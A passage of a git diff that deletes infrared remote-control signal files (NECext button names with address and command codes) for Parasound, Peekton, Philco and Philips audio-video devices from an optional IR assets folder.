-address: 08 00 00 00 -command: 19 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1A 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 40 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 41 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 42 00 00 00 -# -name: LOOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 43 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: DOUBLEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4B 00 00 00 -# -name: SEEKBACK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: SEEKFWD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/134,97.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/134,97.ir deleted file mode 100644 index 1d2e921e8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/134,97.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_-_SKIP_+ -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 00 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 02 00 00 00 -# -name: CD_-_SKIP_- -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 04 00 00 00 -# -name: CD_-_PAUSE -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 05 00 00 00 -# -name: CD_-_PLAY -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 08 00 00 00 -# -name: CD_-_STOP -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 09 00 00 00 -# -name: CD_-_FF -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0C 00 00 00 -# -name: CD_-_RW -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/27,-1.ir deleted file mode 100644 index eb055e922..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/27,-1.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 09 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0A 00 00 00 -# -name: ON_-_OFF -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0D 00 00 00 -# -name: SHIFT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0F 00 00 00 -# -name: DIGITAL_+ -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 -# -name: DIGITAL_- -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: VID_1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 14 00 00 00 -# -name: VID_2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: VID_3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 16 00 00 00 -# -name: VID_4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 17 00 00 00 -# -name: VID_5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: VID_6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 19 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 19 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1C 00 00 00 -# -name: A._CAL -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1D 00 00 00 -# -name: DIM -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1E 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1F 00 00 00 -# -name: SURROUND_+ -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 20 00 00 00 -# -name: SETUP/TRIM -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 21 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 22 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 23 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 24 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 25 00 00 00 -# -name: MEM -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 26 00 00 00 -# -name: AUD_1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 30 00 00 00 -# -name: AUD_2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 31 00 00 00 -# -name: AUD_3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 32 00 00 00 -# -name: AUD_4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 33 00 00 00 -# -name: AUD_5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 34 00 00 00 -# -name: AUD_6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 35 00 00 00 -# -name: SURROUND_- -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 38 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 39 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3C 00 00 00 -# -name: DYN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3D 00 00 00 -# -name: TUNING -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/3,240.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/3,240.ir deleted file mode 100644 index b27c7bd33..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/3,240.ir +++ /dev/null @@ -1,332 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUDIO_1 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 80 00 00 00 -# -name: AUDIO_2 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 81 00 00 00 -# -name: AUDIO_3 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 82 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 83 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 84 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 85 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 86 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 87 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 88 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 89 00 00 00 -# -name: ON/OFF -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 8A 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 8D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 8E 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 8F 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 91 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 92 00 00 00 -# -name: DIGITAL -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 93 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 95 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 96 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 97 00 00 00 -# -name: AUDIO_1 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 98 00 00 00 -# -name: AUDIO_2 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 99 00 00 00 -# -name: AUDIO3 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 9A 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 9B 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 9C 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 9D 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 9E 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 9F 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: C0 00 00 00 -# -name: TRIM -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: C1 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: C2 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: C3 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: C4 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: C5 00 00 00 -# -name: INPUT_LEVEL_+ -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: C6 00 00 00 -# -name: INPUT_LEVEL_- -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: C7 00 00 00 -# -name: MANUAL -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: C8 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: C9 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: CB 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: CC 00 00 00 -# -name: CAL -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: CD 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: CF 00 00 00 -# -name: 5.1 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: D2 00 00 00 -# -name: DYN -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: D3 00 00 00 -# -name: TONE -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: D4 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: D6 00 00 00 -# -name: RE-EQ -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: D7 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: D8 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: D9 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: DA 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: DB 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: DC 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: DD 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: DE 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir deleted file mode 100644 index 9ffd14322..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUDIO1 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 80 00 00 00 -# -name: AUDIO2 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 81 00 00 00 -# -name: AUDIO3 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 82 00 00 00 -# -name: RF -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 83 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 83 00 00 00 -# -name: TOSLINK -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 84 00 00 00 -# -name: VIDEO2 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 84 00 00 00 -# -name: COAX1 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 85 00 00 00 -# -name: VIDEO3 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 85 00 00 00 -# -name: COAX2 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 86 00 00 00 -# -name: VIDEO4 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 86 00 00 00 -# -name: STEREO-DIRECT -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 90 00 00 00 -# -name: 5.1 -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 91 00 00 00 -# -name: PROLOGIC -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 94 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 95 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: 9C 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: C0 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: C8 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: CB 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: CC 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: CF 00 00 00 -# -name: 2CH -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: D0 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: D1 00 00 00 -# -name: DIALOGNORMALIZATION -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: D2 00 00 00 -# -name: DYNAMIC_RANGE -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: D3 00 00 00 -# -name: RE-EQ -type: parsed -protocol: NECext -address: 03 F0 00 00 -command: D7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir deleted file mode 100644 index c4c536a4f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: eq -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: mark -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: a-line -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: v-remote -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: intro -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir deleted file mode 100644 index 021ed5a1c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 04 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 05 00 00 00 -# -name: XPRESS -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 06 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 07 00 00 00 -# -name: SAP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 08 00 00 00 -# -name: TVAV -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: LASTCH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0F 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: PREF -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1F 00 00 00 -# -name: MAGIC -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/CD-R/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/CD-R/20,-1.ir deleted file mode 100644 index e10495043..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/CD-R/20,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: CD1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 37 00 00 00 -# -name: CD2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 38 00 00 00 -# -name: CD3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 39 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/CD-R/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/CD-R/26,-1.ir deleted file mode 100644 index 985ee4601..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/CD-R/26,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 09 00 00 00 -# -name: TRACKING_+ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 20 00 00 00 -# -name: TRACKING_- -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 21 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 30 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 36 00 00 00 -# -name: CDR -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DSS/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DSS/133,48.ir deleted file mode 100644 index 21c60d607..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DSS/133,48.ir 